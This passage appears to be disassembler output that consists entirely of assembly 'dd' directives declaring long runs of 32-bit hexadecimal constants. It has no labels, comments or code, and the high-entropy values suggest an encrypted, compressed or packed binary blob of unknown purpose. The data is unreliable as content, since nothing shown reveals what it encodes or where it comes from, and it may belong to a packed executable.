		dd 2CDCBE04h, 568997A5h, 7205DD7Eh, 0F7810979h,	0D8670F5h
		dd 2471DFE9h, 218CBF0Fh, 0A231ABEEh, 52562A24h,	1804B5B0h
		dd 0D53CFE02h, 8B922DE9h, 121B6724h, 0C2A72244h, 0A1139F10h
		dd 68AC90CBh, 0D1B56C3Dh, 0EB38212h, 0E745EE9h,	8CA60994h
		dd 9BEE16Bh, 3C2B314Eh,	8B7F86E2h, 0E94FE0DAh, 0B1696F8Fh
		dd 0ECE1C91Dh, 0B5113075h, 4BEEE0CBh, 90755C59h, 0F1800595h
		dd 1EA9886Fh, 6EFC083h
		dd 336D37F7h, 0FA8052EAh, 0DB544AE9h, 59BF53ABh, 659E8BCFh
		dd 0F6013F79h, 7829CBA2h, 95B9D0F4h, 0E8261FE6h, 569CEAAh
		dd 1DCF766Eh, 406BE340h, 9980ADCCh, 579E015Bh, 8703EDC1h
		dd 817561FDh, 0BDCD8108h, 0C2F24905h, 1D475C1Ch, 0F10AFC1h
		dd 6880F95Ch, 3CB29173h, 6C7C7F69h, 14BB508h, 0B16BE22Dh
		dd 6A24D436h, 35042200h, 0C85E81ABh, 16239831h,	0F354DE68h
		dd 59D940DFh, 0D0837594h, 0A970547Eh, 4766EA11h, 0EE7DE9C2h
		dd 0F4FED7A9h, 0A1EAD502h, 2FA37C58h, 0D206B658h, 5A38A612h
		dd 3D651EE4h, 31DEC740h, 2D2AFCC9h, 52AD07A3h, 0A753AF11h
		dd 13C286F0h, 0D816FA48h, 0C9A87596h, 5103555Bh, 0D72B1468h
		dd 7727E933h, 6D4CE46Dh, 69E16A24h, 6A53CE61h, 0A54F0086h
		dd 2E0727D3h, 9D18925h,	0FAB583A0h, 0B8D3B0A2h,	0C1FE2F5Fh
		dd 468AE761h, 78B56DE1h, 19425D1Dh, 8F053D94h, 0C01FCB3Ch
		dd 0F97C6CCFh, 0DA092404h, 50F064E9h, 527A000Dh, 0CC35541Dh
		dd 15129727h, 0E700C721h, 7D0B72F7h, 0E7C12723h, 0D7FCA160h
		dd 0FA8F503Fh, 0B043FA3Ch, 98360D5Fh, 5C4A9F63h, 0BBA9080Eh
		dd 0E6303840h, 43086B99h, 0F5F617E0h, 7E4AF561h, 5113F08Eh
		dd 8753FFB9h, 0EDBD13EAh, 50692DAAh, 72B39909h,	0F6358BD7h
		dd 0B683C9E7h, 340FFEDh, 0A07C3FDh, 343506DAh, 0F725E700h
		dd 0B54851D8h, 0FA56DA0h, 1475710h, 17F8E466h, 1DDCEB00h
		dd 0DF31E3BBh, 5BFDFE5Bh, 0BA20355Fh, 9C27F5CBh, 0F1017601h
		dd 0FB9FE055h, 5D0410D3h, 0D9E3C545h, 0FC77A913h, 809D6B8h
		dd 89E65199h, 0F597F73h, 899F4F99h, 0DD608CB1h,	0F11949AFh
		dd 0CD819FD2h, 0E70C5CCh, 0E8734FB8h, 5E355830h, 10D4F0E2h
		dd 0B3DC444Fh, 8431BBFDh, 53036C9Ch, 64F6ECF1h,	125681Dh
		dd 84BA0FF3h, 72A94B9Dh, 97E2A125h, 0C857889Ah,	0A4E00B9Fh
		dd 0E449BDAFh, 0F83A715Ah, 0E5B5B616h, 0EA5CE439h, 0C8C25524h
		dd 0FD09E99Ch, 990982DCh, 0B252874Fh, 5AD1D294h, 3057F960h
		dd 559CC3Bh, 0E1282CF4h, 0BA2D9EFCh, 0D7C3BE61h, 0E80BAAFCh
		dd 0CC7112h, 205AF730h,	242C5BF8h, 7425DC7Ch, 28E3080Ah
		dd 0D55683A0h, 0F24A7B62h, 14B631Dh, 667F6849h,	0CBFF8291h
		dd 7B5D0C8h, 870150A3h,	313FC993h, 60E3CD72h, 5F81535Eh
		dd 3E3FB13Bh, 0E9C271A2h, 535A88BAh, 927EED3Fh,	0BB0E6211h
		dd 935A4A40h, 14864517h, 35B109EAh, 0BE64C830h,	0F6113F25h
		dd 803ECCBDh, 50214B12h, 0E8533C04h, 235D6807h,	86D13CFEh
		dd 0DED39D74h, 0ABD77FCBh, 0BFC0574h, 0D9681F81h, 0E9C4D228h
		dd 5E369252h, 5C99A745h, 0EE0578F2h, 48611681h,	0D7C08C3Fh
		dd 55BBF40h, 59159F2Dh,	0FF10BE7Bh, 64E95F07h, 0AA2D62E6h
		dd 0D032E906h, 5A8540CAh, 7EF86501h, 4E51E3FBh,	0CB3A4A8Dh
		dd 357E5890h, 0CCAB952Ch, 664B5C3Ch, 80FA44ABh,	40B6AA8Eh
		dd 47015648h, 2D689973h, 0B10BAE43h, 0EA3C744Bh, 297F672Fh
		dd 561E005Bh, 0A96231C9h, 5FDA8904h, 570BDEE5h,	20B9C552h
		dd 7CC003F4h, 6DBD201Bh, 29306BB0h, 8F202798h, 0E2C12671h
		dd 0EFD81614h, 0A435A530h, 76C73E74h, 0EC801F97h, 0A8A499CEh
		dd 22585333h, 2556B11Ch, 0AC61975Fh, 0F707172Ch, 7CEA622Ah
		dd 0E3810F99h, 0BBD97017h, 570500F4h, 0AB58C2BFh, 4640B713h
		dd 0BA05524Bh, 28802201h, 0F346D0BFh, 984C391Ah, 7F2E1726h
		dd 136EF6DDh, 608113A4h, 11068F7h, 0C7EB18B5h, 0A200826Dh
		dd 769241DDh, 4AD9872Fh, 88A36092h, 62143A33h, 0B9EDCB98h
		dd 0E12F5EEh, 6C2105F6h, 0BF00F31Dh, 0EA1B2D76h, 40C02125h
		dd 0F733944Ah, 0EF3E40C2h, 5C6D121Eh, 58C4BF41h, 0FEE90805h
		dd 0BD02BEB8h, 3A65AB49h, 0BF620FFFh, 0FEB2CBBBh, 1209AC4Ah
		dd 0C8B45F97h, 900332B1h, 0DDA0AB16h, 3826BD55h, 81512300h
		dd 0D062A4F5h, 0C04D4A58h, 0AED210C7h, 1CD51B5h, 435478BDh
		dd 0D8F3E806h, 571EA393h, 74A2B189h, 934D65BDh,	801E588Eh
		dd 350C7C3Ch, 0D638E25Fh, 2048F10Fh, 8380BE1Ah,	8412BFEAh
		dd 0FE7761h, 3300BB9h, 0E1817C6Ah, 0C1408C2h, 2FE3E9C1h
		dd 0A5FFF6DAh, 0AD42187Ch, 0D470572Dh, 8C9CC090h, 0D0EC1A96h
		dd 0E89A45B3h, 0AC5A805Fh, 9039A03Fh, 19EB9D59h, 4CD66420h
		dd 0D5F16B59h, 5121BB4Bh, 1C442ACFh, 0EFF48CC6h, 0C202B638h
		dd 0A00D9E2Ch, 0AF7820h, 52AB00Ch, 29E628B9h, 47F9F0E2h
		dd 3D11CA07h, 0ED191D02h, 18DD5E34h, 49EBA1Ah, 0E92B334Ch
		dd 0C183D0D9h, 435008EBh, 1104CBF8h, 0DDF76BEAh, 9A226A83h
		dd 745EC052h, 0A528BC6Ah, 0C4DA454Bh, 313915F8h, 9C733F8h
		dd 21FEC2F7h, 68D1E9D6h, 9CB70294h, 757BEF80h, 6543DACAh
		dd 1855AFD2h, 807DDB67h, 2200A9BEh, 0D6F77368h,	1CBB534Eh
		dd 12D40F30h, 780BEE21h, 55B42986h, 8792CDC5h, 0D1E464EBh
		dd 2E598075h, 0B602AC9Dh, 0CF9A5DDCh, 0FAA27057h, 768BB710h
		dd 6812627Ah, 31AA7823h, 3AA298ECh, 6809D88Eh, 0C4DC2FF8h
		dd 170B5BCBh, 6365BADEh, 5CB938AAh, 0B0815330h,	0B1C62EAh
		dd 0BA44E93Dh, 2FC2BEEEh, 8CF38793h, 7231089Bh,	0AFC345D8h
		dd 0AF22D920h, 51D0F37Eh, 0E93584B9h, 0B2F8E5A7h, 17A8288Ah
		dd 0E9BA478Ah, 93C63A0Eh, 486809C3h, 706A6ADCh,	0EC4B6A2Ah
		dd 0B4D35EFCh, 0A441578Bh, 0C12560h, 0E68104EEh, 13E44DB8h
		dd 41A4E4EDh, 0E3A560BDh, 0B62883F1h, 0B53E9FBEh, 89542EDFh
		dd 81FC5C96h, 732909DFh, 2EDC5329h, 0A5549B08h,	0F30B6658h
		dd 5039101Bh, 0B8AA137Dh, 0BA10BA07h, 0A3206D6h, 7F2A0F72h
		dd 0A7EA2CDEh, 0D104121Bh, 0C7F180E6h, 3982C882h, 9955E79Dh
		dd 0D96FDF3Fh, 0C2013888h, 0F24A7EE9h, 4B15EE9Bh, 0FA89255Ch
		dd 0E909B68Ah, 7AE6AC16h, 2CB84CBFh, 0C25269C1h, 0B002D15Ah
		dd 207744D6h, 8103A17Bh, 0DB4E2FC1h, 3AF1B03Bh,	953E716Ch
		dd 49475E81h, 1A00CB08h, 2CC20F50h, 0A6D446E9h,	685301E1h
		dd 257A5943h, 0E9A9415Bh, 30002F0Bh, 0ACEA814Ah, 3DB43046h
		dd 0E1BE4E0Ch, 9301B32Dh, 7D95826Fh, 0C380F2B8h, 0D5E71D70h
		dd 60BD7EBh, 0E8CF682Eh, 95BF3435h, 5697CAEEh, 6053C367h
		dd 5F3AE84h, 0D8E232C9h, 8175355h, 502771BCh, 5FC0F033h
		dd 9788B3F2h, 8BDA3CABh, 58B122E5h, 13422ED6h, 16BA334Fh
		dd 0A9B012E0h, 63EF802Fh, 0BD64A211h, 8812AD2h,	95C4C5Dh
		dd 0BD6A40h, 51D80D38h,	15DEF29h, 0B2ACF68h, 0DB2D3021h
		dd 68590237h, 0E9F97D90h, 0C7E0AE97h, 5B62C52h,	5F0312D8h
		dd 0B26689A7h, 7F5302F4h, 0E6772A61h, 1BBB4F8h,	7E48DBE2h
		dd 0B5FA4420h, 3EF2F0CEh, 6A880C12h, 0BAE90004h, 0D44512BBh
		dd 8D85FEEFh, 3C2D7780h, 0E96E134Ch, 0F8B1F151h, 469758C7h
		dd 5F590050h, 6203A5F3h, 3EE56838h, 2CFA9334h, 1D1E6977h
		dd 0C81505BFh, 3135808Eh, 96B7574h, 0ACC9E993h,	736BA75Eh
		dd 0CBFB2F27h, 0CC5F0211h, 59410899h, 4A6EA37Fh, 49DEA1F8h
		dd 95A2459Ah, 0CCF85EF5h, 58707C95h, 0D58241E2h, 0DC36FC61h
		dd 0B3F82702h, 0B539CB4Fh, 4A228A2Ah, 54552461h, 69ED4441h
		dd 295AD610h, 215EF717h, 0C180ACBDh, 0C8310AE8h, 0FC4C3C90h
		dd 960BDEEAh, 386A9065h, 630096E6h, 0A327F343h,	0EB6F4534h
		dd 0AACFF2E8h, 4B996880h, 0D792F620h, 92411DA6h, 0E933D07Eh
		dd 0F1B767A1h, 12E52696h, 50694419h, 2A4C15Eh, 5FC704E4h
		dd 671F84D4h, 0F867CADEh
		dd 62F6BCEh, 16204D2Eh,	0BFF0B353h, 4ACDFB1Eh, 0C87B16DDh
		dd 4717CB5Ch, 0B106343Ah, 0CF839A63h, 6245560h,	248CA5ECh
		dd 0BE40157Fh, 0D0D0BF4Ah, 3B3AC3B0h, 1259E34h,	2BC566Fh
		dd 776F3763h, 32CBEF40h, 0C744530h, 0B7FF0DF5h,	29650F8Fh
		dd 92D6C211h, 5BB5AD50h, 0B1844460h, 0B0CE2A14h, 38F0AE69h
		dd 0A80049Ch, 0F7493F37h, 0F0DDFFD9h, 21098B3Fh, 55B709ABh
		dd 574E5D44h, 448126A9h, 3A5AB90Bh, 7347F6C1h, 0E6D15E00h
		dd 25CFEB0h, 9A4E0144h,	6CE95490h, 0E84EB32Ch, 8DBEF4CDh
		dd 0FAB37F54h, 9550B244h, 5BBF6B16h, 108C4A6Fh,	0CEB801E6h
		dd 48187475h, 37BC7EDh,	3FCF80FCh, 503CF798h, 0FE7FB03Ch
		dd 0A6E94213h, 6685642h, 69CFFE54h, 77D9E199h, 0E97F7305h
		dd 56FD79Ch, 0CAAD8705h, 7D799801h, 0E1DA2976h,	5B0843C2h
		dd 699E1E0Fh, 49E90640h, 3988F835h, 3BC859E8h, 0E5A75516h
		dd 6FAA6150h, 6F1B0891h, 270FAB05h, 6A2B2556h, 53103A01h
		dd 0FB701849h, 0D4519DCEh, 89FE50C7h, 0BE3B794Eh, 0EFA5855Eh
		dd 2B7CB779h, 4BFD31A5h, 2EE04C0h, 8BE889EEh, 0A0BCD351h
		dd 0D4BD06ABh, 0C34D9B10h, 24747ABFh, 963C7A80h, 8E4C08F9h
		dd 558D6806h, 0B544927Ch, 40ECD571h, 76659751h,	0EB3DF701h
		dd 5165DC27h, 2B776840h, 0F0084EA0h, 3F34132Ah,	48E81FC6h
		dd 917D985Ah, 98C0CB40h, 0A0B19846h, 81F25A18h,	35316E50h
		dd 59F873B5h, 18BDDCB2h, 0E7EA4720h, 9FF28780h,	0C8149871h
		dd 4441673h, 0F6D10DE8h, 0BCA80917h, 0A2D3B792h, 0F41A4FF5h
		dd 9ACB6658h, 243256BBh, 27861225h, 0A8C26420h,	21B75A50h
		dd 53E9010h, 478568ACh,	69E38DEAh, 2C860999h, 0BB0E5770h
		dd 89FA0992h, 0C05A47FEh, 828DC036h, 0B6B0BC00h, 8983BE2h
		dd 0C1A5999Ch, 1FE5A1Fh, 3BC58955h, 0D1F92B4h, 5F194670h
		dd 5D07023Eh, 0F49EF04Ch, 3EA4FB08h, 3699AE3Bh,	2F5A0E7Ch
		dd 7C6DBB8h, 0C5068D69h, 6FDB0CD7h, 6F93E0Ch, 602BB070h
		dd 0E768CD1Eh, 420F2C5Ch, 0A6E8D158h, 383FDAA4h, 0F61FCBEDh
		dd 0B1636D38h, 70C0FF7Fh, 364420A5h, 9AA0B842h,	9A074805h
		dd 0BED6A71Eh, 45208AD8h, 69A110B4h, 0A9685A02h, 0ADC77D0Dh
		dd 9D67A4A7h, 1E509AA0h, 4B3FB551h, 385DD357h, 0C0A0AC54h
		dd 68F1F714h, 0E9A6693Bh, 9708CAB4h, 147163Dh, 4168F32Eh
		dd 3D63C8Eh, 0AD655D2Dh, 1AEEA80Fh, 0EF059560h,	6A071D05h
		dd 18B60E11h, 0FFB339A5h, 9EC2F15Fh, 0FD2F697Bh, 0D46E7630h
		dd 70301297h, 14AE18Ch,	6F031AACh, 4F9905D2h, 86FFA1D3h
		dd 0C664108Ch, 6D639008h, 1070A918h, 10546708h,	0A7183F3Ch
		dd 75662871h, 0B1FF08C4h, 203A7006h, 37A66C20h,	0B6107139h
		dd 0FE330845h, 109169ADh, 10F7AC10h, 37185CFCh,	8FBE0836h
		dd 19888C81h, 29080832h, 10540853h, 4082420Ch, 7359C41Dh
		dd 56250609h, 0D7653108h, 88F41118h, 8A83D08h, 8D0CEF04h
		dd 40692837h, 4B625E7Bh, 3C06410h, 8189C57h, 9A181FA4h
		dd 0E208CF27h, 5A0C1838h, 801C4D80h, 8C42B7Bh, 0FB062053h
		dd 5432284Bh, 0A2EF08B2h, 3853998h, 8108132h, 2B31D649h
		dd 1111351h, 188865BEh,	3F0C6735h, 631410E3h, 23DF084Ch
		dd 0CC66182Ah, 83EB033h, 67208E5Eh, 1CB5597Bh, 4440E908h
		dd 2869622Ah, 0EB075145h, 767108D8h, 0CD4FA08h,	0B30857D0h
		dd 0FB749CA8h, 805B9B80h, 2080522Dh, 808C4E2h, 0CB3404BAh
		dd 28026906h, 0C351EB62h, 490D02B1h, 3B36C02h, 824CFC1h
		dd 0F78834EEh, 0A1A03D81h, 20969020h, 6062C784h, 48026A9h
		dd 37349150h, 3E108CC4h, 62120870h, 7A941862h, 3169B406h
		dd 0BA08DB4Ah, 0E8208C28h, 83BB91AFh, 0CF03D8F2h, 0C0D92043h
		dd 79D3A533h, 40387446h, 8B628D9Ch, 7C8D610h, 5B0CE81Ch
		dd 400F088Eh, 4040756Bh, 0D781C68Ah, 0C55408F6h, 0EB409BC4h
		dd 286E6377h, 8197A0Ah,	0F218ED79h, 6ED50824h, 5BE8084Fh
		dd 3946F60Ch, 0F308C478h, 0CD2F0674h, 483163B9h, 71207EA8h
		dd 0C44B49F4h, 11719C1Ah, 710D4CA6h, 20433631h,	8922224h
		dd 603C44DDh, 0C3AE0633h, 21FE2010h, 20D59F20h,	0EB204C3Fh
		dd 0BC1F54D9h, 1ACC4057h, 4308F064h, 58A2EC91h,	35A0D601h
		dd 86801208h, 0F3015C48h, 92C98F80h, 51A4666Ch,	8D624168h
		dd 302E110h, 8180F1Fh, 3818A7D8h, 1008C45Ch, 72D006E9h
		dd 59E33120h, 888A6E08h, 0C363118h, 0F710E763h,	9D086663h
		dd 6018046Ch, 0C9E8FC9Ch, 18FE6CA4h, 8B264213h,	2BC8F1C7h
		dd 3B10C03Fh, 2752C47h,	8913EB18h, 0DEA7B90Eh, 44D8B03Dh
		dd 4902408Fh, 0F775C90Bh, 8F30E38Bh, 0F003DE40h, 0ADA397B9h
		dd 0FC0C033h, 306B4FB1h, 882A562Ch, 0D0AD409Ah,	0D78542E3h
		dd 13B70F8Ch, 0B1FEE944h, 3ED82AFFh, 30BD84EEh,	0B441A1E8h
		dd 5DF38320h, 0F1D82DF8h, 16A6013Eh, 685C0DC1h,	3B7823C5h
		dd 102DBBC6h, 66D9880Bh, 90EB205Bh, 5E3074B0h, 6B784EE8h
		dd 38E91690h, 0E3BB8883h, 0D15FB313h, 0F014D3D6h, 526F38B6h
		dd 288EC6DFh, 0EEB57B1Ah, 9E336B30h, 3B1F2FDDh,	0CF29810Ch
		dd 1B56DC40h, 0E6194EE8h, 66F931CCh, 680042DEh,	5BBD3CABh
		dd 2EB943D9h, 0C55B547Ch, 0E9C2E8A2h, 0B2F561E0h, 3E97DC6Fh
		dd 516001ADh, 26796855h, 0BB60119Eh, 1A76CC04h,	1AF021E9h
		dd 16D59FE2h, 0ECD30D4h, 2989E285h, 7403492Fh, 5EFE1DCFh
		dd 0E9D683B2h, 263E391Ah, 0AF448935h, 0E7805F42h, 73AA7D05h
		dd 0AF094F3Ch, 73E05058h, 61B20981h, 0A77C796Ah, 5DF71D03h
		dd 38EEEAh, 2930255Bh, 1A1EE9D1h, 10FF96A8h, 1963D1B4h
		dd 0BDE331F3h, 7A5AC914h, 0A5F838F1h, 0FD2DCA2Bh, 0E85BE56Bh
		dd 2BA2B128h, 8766C497h, 4CC24B45h, 0E7570827h,	0E949C068h
		dd 9230BDh, 5FBA7297h, 4B16CF5Dh, 4987DEFh, 0C89DBEDBh
		dd 170B5FF2h, 0B4E31ED7h, 0FE2788A8h, 0B10BA420h, 5D086E48h
		dd 669679A0h, 0B16442Dh, 0B1F8645Bh, 3F760A78h,	29D41D4h
		dd 49C29B62h, 58ECF47Ah, 9176EC95h, 0CA243F12h,	67211EB4h
		dd 0F9E9715Eh, 2F8C1801h, 0C000CAFEh, 0C28007EAh, 4B826887h
		dd 259EB365h, 97615EADh, 4BADA8D0h, 2D5C8821h, 9436CF8h
		dd 70FE6830h, 8F6D1474h, 26DDA01h, 0FDA4DF51h, 562DE62Ah
		dd 0B7F83794h, 0B62C4BEh, 0C435D8FBh, 27942592h, 0BCAD85CFh
		dd 4ABBCFBEh, 7D1A44FCh, 0B38F583Ah, 0D64D91D3h, 0FE16AF4Bh
		dd 0D841436Eh, 0AB4F1F34h, 12C10BB4h, 0F82C680h, 0CB568BC3h
		dd 0C780C210h, 0FBF05E7Dh, 0CE9E709h, 337E26EDh, 0DF3D2013h
		dd 19447695h, 0FA839903h, 0E5FC3B4Eh, 0C99D969Ah, 9C70D005h
		dd 1B3D3F25h, 0A74E0798h, 492657C6h, 0EE1EDD7Eh, 0E9085039h
		dd 26D69E71h, 0E040C48Bh, 171ED430h, 88502207h,	46D029D0h
		dd 8EFC013h, 0C4125EF6h, 0F971FA8Fh, 0E12535F7h, 0CE60C920h
		dd 6BAEBA97h, 0F28131C0h, 8004423Fh, 8D85E93Dh,	52277FBh
		dd 8712FEC1h, 179E93F9h, 0AD1DEFBCh, 5EF4272Fh,	90EDB37Ch
		dd 68A208Dh, 9D59C98Ah,	13D450A7h, 0B83B7D3Eh, 8C7287Ch
		dd 4BD95A5Bh, 605AB37Ah, 812EA044h, 0FFE91607h,	72C56349h
		dd 9212BED1h, 50B65F74h, 0AD2D619h, 68256E58h, 714F2CAFh
		dd 548A6AEFh, 0A89311Ah, 0BF759CFFh, 0A5B8EA71h, 3557C6FBh
		dd 0EE900574h, 0D24195Fh, 64F6C04Fh, 30F72923h,	881249D1h
		dd 704B1EB4h, 0A16F27E1h
		dd 5EBD2A51h, 0C9663916h, 0BFAAE068h, 0CD32AF9Dh, 0CE32681Ah
		dd 4E4A6010h, 5B55FE8h,	1214CFAh, 0EA1A9E74h, 0F0D3EC97h
		dd 393799B7h, 4F0A85C0h, 0F73A0042h, 0C8D1E9DAh, 685D26CBh
		dd 0BF716D18h, 0A8D92F1h, 313A109Bh, 7A49C772h,	9BFEE834h
		dd 685B05F7h, 465D48E9h, 697AAAF9h, 99315679h, 52EFC597h
		dd 6320CBC5h, 93FC539Eh, 8273444Fh, 0DD7E90BBh,	6D006F2Bh
		dd 4D5AD589h, 18BF57h, 81133F60h, 0BC5CC4F7h, 0CB567D60h
		dd 0F8406E2Ah, 4DC00DCFh, 0E8242C4Eh, 9A5AD27Ch, 4FF0185h
		dd 0D12956F6h, 6BFAE7C2h, 0B6F6EC37h, 405C0B7Ch, 5FF03548h
		dd 0F2A8055Fh, 0ED16B776h, 6E9A9AB4h, 5CFA192Eh, 0B71001DFh
		dd 80EFD015h, 39E7EBF7h, 258D6C55h, 0B77B6879h,	0E72D9A24h
		dd 8B122CFDh, 0C2C8403Dh, 0D8254913h, 1F975079h, 0BDD5FBEh
		dd 39705B5Dh, 0DBE50381h, 33953002h, 5F216D87h,	0E5EC6D96h
		dd 791FCE0Fh, 0EDF5804Fh, 9F179C45h, 5D092A59h,	546AD655h
		dd 0C3295C16h, 16A4CEB0h, 0EC46F247h, 50D4872h,	79487E71h
		dd 895A94C0h, 0CC45FCCDh, 0FA4C07AAh, 1F12ACB8h, 0C498EB01h
		dd 17DFA0C3h, 494DBB0Ch, 0DA69BA71h, 50C30455h,	0A3782268h
		dd 5D58CB5Dh, 1C40643Ch, 0B800E56Bh, 0B1005D16h, 2DD0F77Ch
		dd 0CE7E6F96h, 0FB6958FDh, 0C51E7F02h, 208C6EFDh, 0BD049D88h
		dd 7CED7BB1h, 4DE32BC0h, 5F2A753Dh, 0F23C49E1h,	81871B82h
		dd 0B0F35A55h, 484BF476h, 0F7C1390Ch, 0CBF987D7h, 121AE2DDh
		dd 0C1F8E17Fh, 0AEA517A1h, 68E2255Eh, 0BA715F25h, 52FD62Dh
		dd 0C1141FDBh, 9D3F6837h, 92FF2972h, 48095A08h,	93B47F5Eh
		dd 12E8012h, 4D6E8AABh,	30C34815h, 0FD254050h, 226B0117h
		dd 7949F70Dh, 0A81CFC6Fh, 31AB1ED6h, 7BF90CCBh,	49D9898Ch
		dd 9B07D40Dh, 0A466716Eh, 4272A128h, 7DEA83h, 0E75D8E54h
		dd 4AB5FE63h, 68389C40h, 0B0424B2Dh, 40BBE9BDh,	0ED078160h
		dd 75219076h, 2D1758BFh, 2F013ABh, 467056Eh, 0E43D8D01h
		dd 12D209BFh, 0DD294BFAh, 0BEE0CA2Bh, 1ED423C4h, 442F0688h
		dd 0A0AC192Bh, 0F465F273h, 0E9160C5Ah, 21369412h, 9791F05Fh
		dd 0D34C3944h, 0CEB233E9h, 25B9E511h, 47CE3575h, 4B2D218Fh
		dd 220C8546h, 2AECD63h,	458E95Dh, 0F4EBECD5h, 9C465532h
		dd 0AC60A44Eh, 38F53C1Bh, 0D5ADE912h, 64A12CF4h, 0C0920CFEh
		dd 0A37D47D3h, 5C2D375Ch, 92CD5B1Eh, 7F349602h,	0E74BEC6Ch
		dd 1F7216A1h, 2D1F4EA5h, 7E6A6422h, 79BFFC50h, 25864925h
		dd 0F10445E5h, 8C52BD73h, 8D236C7h, 20D0CC0Fh, 2D5A2095h
		dd 657EC5C8h, 0F1D40B7Bh, 42CB3B51h, 8ADB1E64h,	33A84BB1h
		dd 0C4421B89h, 148236D5h, 0A5DC4FE9h, 965D184h,	498DF001h
		dd 884B1482h, 6D10E5CAh, 2F052452h, 0FF942704h,	0E6DCC405h
		dd 69EFECD1h, 0E3BED4C3h, 2BE986F7h, 24D39559h,	0FE46E942h
		dd 981C617h, 26163E17h,	9FBAC7C5h, 25BE4B98h, 40CBEEE1h
		dd 8164C61Fh, 5FE95E7Fh, 1494A342h, 15971ABFh, 0E009F51Ch
		dd 0B056398Bh, 82F27A70h, 6D605680h, 95A07583h,	58172A7Fh
		dd 27092924h, 26919059h, 4C688051h, 13390E52h, 189D37BEh
		dd 6910A678h, 0F6C1A102h, 5280B900h, 1315853Dh,	5F53920Bh
		dd 9604C00Eh, 2D8AAA07h, 3E577E9Bh, 91E95787h, 0E6D709C9h
		dd 59CF2FEDh, 0D7A09174h, 0F19F8BB8h, 62305091h, 4FFB2F9Fh
		dd 0C14A8048h, 95003E1h, 7B07CBB8h, 8819C8F4h, 610AEF47h
		dd 739BE9D9h, 9C5F18A7h, 0F5476563h, 127FAD5Ah,	95DD7C55h
		dd 9FF38DECh, 575E81Ah,	5CA84159h, 9114FD40h, 57ED01A3h
		dd 3FB3CFEBh, 1297A7F1h, 64680A3Bh, 82FD20DEh, 0B79B7008h
		dd 9C75B1A7h, 0E800C144h, 0B83E2D04h, 9831E78Dh, 0E9FC8811h
		dd 0C36F4D42h, 12D1D224h, 0B87EC110h, 2C9BD487h, 0B833534h
		dd 5A4945AFh, 0C37C9326h, 82F5D5B9h, 2041B442h,	0C33A5EE1h
		dd 0CB762AF4h, 0F675350Bh, 24F5C10h, 49417001h,	98284B7Fh
		dd 0F9F50377h, 0E1FBD07Eh, 2E0AA55Eh, 990B66E9h, 631980A0h
		dd 0C580863Bh, 8188044h, 0BF5DEFD6h, 89274496h,	692A5E0Ch
		dd 29AC6AF9h, 9578A03Eh, 37200252h, 0AB5A4AAEh,	78233429h
		dd 89316B16h, 0DDA3E0BCh, 32B3C392h, 61F1638Ch,	826CD2C5h
		dd 0BFFC5589h, 3BF84B13h, 0EE4235Dh, 0FF12ECCFh, 83005CCFh
		dd 0E95502C5h, 47C78AEDh, 0A0E02EC1h, 0A2F12950h, 0CF0808C4h
		dd 0CB821C12h, 0F05EE17Ah, 0EB80F585h, 5A0BAE4Dh, 0E71C6208h
		dd 704E2430h, 5981265Eh, 5312AC2Dh, 0AFAF6D29h,	0D98E5EDCh
		dd 485FD168h, 0D6BC431h, 0F885F82Fh, 0A54E9930h, 0FBD82975h
		dd 233C2C33h, 3851A509h, 0A7DC860Dh, 2470B4F0h,	24727501h
		dd 0B608221Eh, 35A00813h, 20F9522Dh, 537E7EDDh,	303B0525h
		dd 0A1F22971h, 0FE02ABB0h, 0E22EAC85h, 76A80F96h, 50BE1369h
		dd 5E3C083Ah, 353E65D8h, 0BF82540h, 4E07AE2Eh, 24954817h
		dd 7D296588h, 8DE860C6h, 8405585Eh, 5282121Fh, 0BB53F085h
		dd 75D8084Bh, 34FD8A29h, 93CB9464h, 507CE0D9h, 4D098EB2h
		dd 0F259F6Ch, 5607F4D5h, 0F4212DFEh, 803143FEh,	8BF2ED3Ah
		dd 5CFDE602h, 0B8200AC3h, 17364AC6h, 5587A494h,	0B9B10A50h
		dd 0D3125909h, 5D13865Fh, 3CFA810Dh, 4B93F704h,	0B1E91B42h
		dd 674655D1h, 0E5B20D31h, 732066F5h, 8C507EDh, 35C059EEh
		dd 52DE1305h, 414C40ACh, 386FE181h, 0EA64CC30h,	136E0D4Eh
		dd 41CF89F8h, 0E1037C53h, 52E02E79h, 0D508A2EBh, 21FD794Ch
		dd 4CFC2CB7h, 4E073040h, 5A20AFE2h, 2DC707EAh, 1733C2BBh
		dd 430C81FDh, 0D8609467h, 68BD09F2h, 86DD7462h,	985477CDh
		dd 0B75172A5h, 9A2041F0h, 7DC17B14h, 0D06ABD58h, 5620A278h
		dd 90BE0033h, 8128CA20h, 6D1D50F6h, 0CE81775Fh,	27BA58C9h
		dd 4678E021h, 0F1FBB217h, 0B0648E38h, 0F65F18EDh, 0E9801CD9h
		dd 0BDA8FC21h, 906DB8C7h, 6C702A2Bh, 39EE48EAh,	0BF384D05h
		dd 8A8F0705h, 0F3FE6C76h, 4FE0FC1Ch, 0A6109BE6h, 1A63B95Bh
		dd 0DFE02D68h, 4B178D40h, 8FA7C4B9h, 0CAF865CBh, 608EDDFFh
		dd 66949C9Ah, 0D501CF62h, 90221DECh, 3B11C45Fh,	5CE9047Ch
		dd 575B87D1h, 5FBA0A60h, 5454327Ah, 79FAE857h, 0C335CB2Ch
		dd 0B7B4FA23h, 0E780A98Bh, 6E6C058h, 2340EDFFh,	0E7D04B41h
		dd 9D9F0E16h, 1815D540h, 0D6B822C0h, 0B04D623Dh, 0E3035CD8h
		dd 0C517091Eh, 81CF8165h, 3043045Dh, 6A135917h,	54A01A19h
		dd 101D10BCh, 0E6E9137Eh, 0BD558540h, 192F3FD6h, 0BDABE36h
		dd 282D7A29h, 9FF17D20h, 7A6618B9h, 9C6C0F0h, 0EF6EE942h
		dd 82CD65A5h, 287CFAFAh, 2DA9F9E9h, 96C22656h, 3E170DF3h
		dd 0DC275439h, 0C973FD4Ah, 7CEF662Dh, 0D1F7802Eh, 4554E2E3h
		dd 753F07BAh, 0E7A268C5h, 54838217h, 8CC3D55Bh,	50FDE927h
		dd 0FAE59746h, 358E8823h, 0BD8B1266h, 5EE4A04Eh, 0EE95712h
		dd 2E2D6880h, 4BE44C1Bh, 482A8510h, 526D05CBh, 13FB0C30h
		dd 0A005ECF7h, 0A91C6F09h, 0A89253C8h, 890BFD33h, 5CC74192h
		dd 2838B67Eh, 802055DBh, 20AD7643h, 0C9BDA898h,	0CBFCB68Eh
		dd 0FFB398B7h, 68388C2Bh, 1855D6E1h, 27495BBAh,	20027C6Ch
		dd 86D4E1E9h, 7DA74F3Bh, 0B312C357h, 5EB0904Ch,	765C8418h
		dd 6995558Bh, 861910B4h, 987D5925h, 91A4F658h, 9915BC0Eh
